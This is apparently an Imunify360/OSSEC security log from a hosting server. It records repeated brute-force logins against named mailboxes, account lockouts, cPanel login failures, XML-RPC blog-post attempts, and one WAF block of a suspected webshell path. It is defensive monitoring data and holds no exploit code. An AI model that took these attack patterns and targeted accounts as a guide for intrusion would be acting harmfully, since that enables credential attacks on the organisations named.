2026-02-01 23:07:09 dovecot_login authenticator failed for H=80-93-62-202.vps-ptr.clients.spaceweb.ru [80.93.62.202]:40870: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:08:11 dovecot_login authenticator failed for H=(FihIlcFkeB) [158.94.208.175]:58090: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:08:17 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65206: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-02-01 23:09:02 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:12800: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.99.209
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=500196 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-02-01 23:08:45 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:50992: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:08:14 dovecot_login authenticator failed for H=(Kttx0wUJ5H) [178.16.52.139]:63080: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:08:05 dovecot_login authenticator failed for H=(TjqhD9kwX) [2.58.56.77]:59147: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-02-01 23:08:22 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:62538: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:08:23 dovecot_login authenticator failed for H=(5v6pgst) [178.16.54.22]:52988: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:08:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@chs.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:09:05 dovecot_login authenticator failed for H=(u6vLn9ft) [178.16.52.139]:61420: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:09:04 dovecot_login authenticator failed for H=(NXx5NDfMtC) [178.16.54.22]:56652: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:09:17 dovecot_login authenticator failed for H=(1QyHsaIv) [2.58.56.77]:56861: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:09:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@chs.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:09:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57858: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:09:03 dovecot_login authenticator failed for H=(XgGniEupF3) [158.94.208.175]:52506: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:10:49 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:10:03 dovecot_login authenticator failed for H=(8XN6OsC) [178.16.52.139]:51776: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:10:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52175: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:10:10 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44290: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:10:26 dovecot_login authenticator failed for H=(sWIdAL3khb) [2.58.56.77]:60951: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:10:20 dovecot_login authenticator failed for H=(7ms5Ly8) [158.94.208.175]:61402: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:10:22 dovecot_login authenticator failed for H=(yuIjP6Ybe) [178.16.54.22]:61038: 535 Incorrect authentication data (set_id=corporate_chaah@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:10:24 dovecot_login authenticator failed for H=(w3GSWQMH) [178.16.54.22]:54376: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 23:10:31 +0800] info [cpaneld] 185.204.54.153 - krisfood "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:11:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:11:11 dovecot_login authenticator failed for H=(6DdzdV) [158.94.208.175]:58084: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:11:09 dovecot_login authenticator failed for H=(8mU7PL6xl) [2.58.56.77]:60666: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:11:11 dovecot_login authenticator failed for H=(9l1wWQtzr2) [178.16.54.22]:50110: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 23:11:55 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:11:06 dovecot_login authenticator failed for H=(kZpIWR) [178.16.52.139]:57366: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:11:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55812: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e411589f4215c2bc7093644128ce29ebaf7e506||Title:0x8e590c38||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:12:08 dovecot_login authenticator failed for H=(OxXtPcih7) [178.16.54.22]:53320: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:12:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64965: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:12:04 dovecot_login authenticator failed for H=(jbia4CxVy) [158.94.208.175]:49943: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 23:12:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:12:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:12:20 dovecot_login authenticator failed for H=(2vimbnl3Q) [2.58.56.77]:62320: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:12:22 dovecot_login authenticator failed for H=(ItjFuUgLc3) [178.16.52.139]:65161: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:12:28 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:12:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36710: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:12:42 dovecot_login authenticator failed for H=(WzSGJB3ia9) [178.16.54.22]:51083: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:13:13 dovecot_login authenticator failed for H=(zRYuwSRw) [178.16.52.139]:50650: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:13:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 23:13:07 dovecot_login authenticator failed for H=(sdiLyuWn9U) [2.58.56.77]:56368: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:13:08 dovecot_login authenticator failed for H=(vYVWwa) [178.16.54.22]:53029: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.50.143.78
country_id: 1814991
description:
2026-02-01 23:13:35 dovecot_login authenticator failed for H=([127.0.0.1]) [111.50.143.78]:26828: 535 Incorrect authentication data (set_id=rafidah@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:13:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.251.183
country_id: 2661886
description:
2026-02-01 23:13:42 dovecot_login authenticator failed for H=h83-209-251-183.cust.bredband2.com ([127.0.0.1]) [83.209.251.183]:40836: 535 Incorrect authentication data (set_id=rafidah)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a625a89f3bca3623c4bcdf1853496dd6b26a8247||Title:0x825836a0||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:13:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57527: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 23:13:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:13:22 dovecot_login authenticator failed for H=(WqL4zLrsh) [158.94.208.175]:58056: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:14:09 dovecot_login authenticator failed for H=(IfJSTnulZm) [178.16.52.139]:59117: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:14:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:14:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:14:14 dovecot_login authenticator failed for H=(yNPoKSJl) [158.94.208.175]:56572: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:14:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55248: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:14:55 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33860: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:14:06 dovecot_login authenticator failed for H=(QXfVQs0rd) [178.16.54.22]:55092: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:26eef3712af11cb9ce75bdc07d65176781f165ad||Title:0xe5eb6fc1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 23:15:53 H=([167.148.167.71]) [167.148.167.71]:49992 F=<Server@tst-ma.com> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:15:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:15:06 dovecot_login authenticator failed for H=(978f1bsr) [158.94.208.175]:49391: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:15:07 dovecot_login authenticator failed for H=(R2nXpOx0am) [178.16.54.22]:56655: 535 Incorrect authentication data (set_id=corporate_chaah@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:15:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51378: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.180
country_id: 2542007
description:
2026-02-01 23:15:20 dovecot_plain authenticator failed for H=(valeptes) [102.53.15.180]:37657: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:15:21 dovecot_login authenticator failed for H=(6Gaj4d) [178.16.54.22]:52463: 535 Incorrect authentication data (set_id=fkr)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:15:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:15:05 dovecot_login authenticator failed for H=(hWd05oVV) [178.16.52.139]:56059: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:16:22 dovecot_login authenticator failed for H=(TQbzNcD) [158.94.208.175]:53394: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:16:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60660: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 23:16:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:16:25 dovecot_login authenticator failed for H=(fn4PI1ZIK5) [178.16.52.139]:63643: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:16:04 dovecot_login authenticator failed for H=(QeASRmJ) [178.16.54.22]:50687: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:17:13 dovecot_login authenticator failed for H=(DPS2M8Z9k) [178.16.54.22]:57149: 535 Incorrect authentication data (set_id=cklee)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dae9a065e6263494b6ad732f05731b1b95bddd7f||Title:0x523d459d||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:17:22 dovecot_login authenticator failed for H=(LLu7OlUR) [178.16.52.139]:54413: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:17:37 dovecot_login authenticator failed for H=(pmEf5i) [178.16.54.22]:53033: 535 Incorrect authentication data (set_id=corporate_chaah@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:17:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56361: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:17:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33726: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:17:13 dovecot_login authenticator failed for H=(Xs55OUJy) [158.94.208.175]:63267: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:18:15 dovecot_login authenticator failed for H=(r6wxXf) [178.16.54.22]:62930: 535 Incorrect authentication data (set_id=corporate_chaah@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:18:03 dovecot_login authenticator failed for H=(Knjbirj) [158.94.208.175]:49907: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:18:55 dovecot_login authenticator failed for H=(WhBHcC) [178.16.52.139]:60751: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:18:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50924: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:19:16 dovecot_login authenticator failed for H=(7ogbS13Zzy) [178.16.54.22]:62430: 535 Incorrect authentication data (set_id=alexchan@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:19:21 dovecot_login authenticator failed for H=(AP6I92) [178.16.52.139]:65264: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:faf525e74b8abc2152a7cc0ecdf51bf29ccc8659||Title:0xc7c4a3bb||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.154
country_id: 1269750
description:
2026-02-01 23:19:36 dovecot_login authenticator failed for H=(nsg-corporate-1.193.187.122.airtel.in) [182.95.178.154]:47284: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:19:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62497: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:19:20 dovecot_login authenticator failed for H=(KHn7VLQC) [158.94.208.175]:53919: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-02-01 23:19:15 dovecot_login authenticator failed for H=(cm-staticip-85-152-57-60.telecable.es) [85.152.57.60]:52851: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 23:19:25 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34232: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:20:35 dovecot_login authenticator failed for H=(pJPms9T) [178.16.54.22]:57963: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 23:20:10 dovecot_login authenticator failed for H=(U9PQkx) [158.94.208.175]:49727: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 23:20:16 dovecot_login authenticator failed for H=(AW7ch8e) [178.16.52.139]:52380: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-02-01 23:20:03 +0800] info [cpaneld] 202.178.120.157 - KIk! "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 23:20:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58514: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 23:20:06 dovecot_login authenticator failed for H=(1E7nf1e) [178.16.54.22]:57169: 535 Incorrect authentication data (set_id=corporate_chaah@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 23:20:45 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech@euratech.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.219.146.45
country_id: 1269750
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7046a7b3abdf7e0d50a160d85b4a02ffe242e519||Title:0xb6616c3a||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
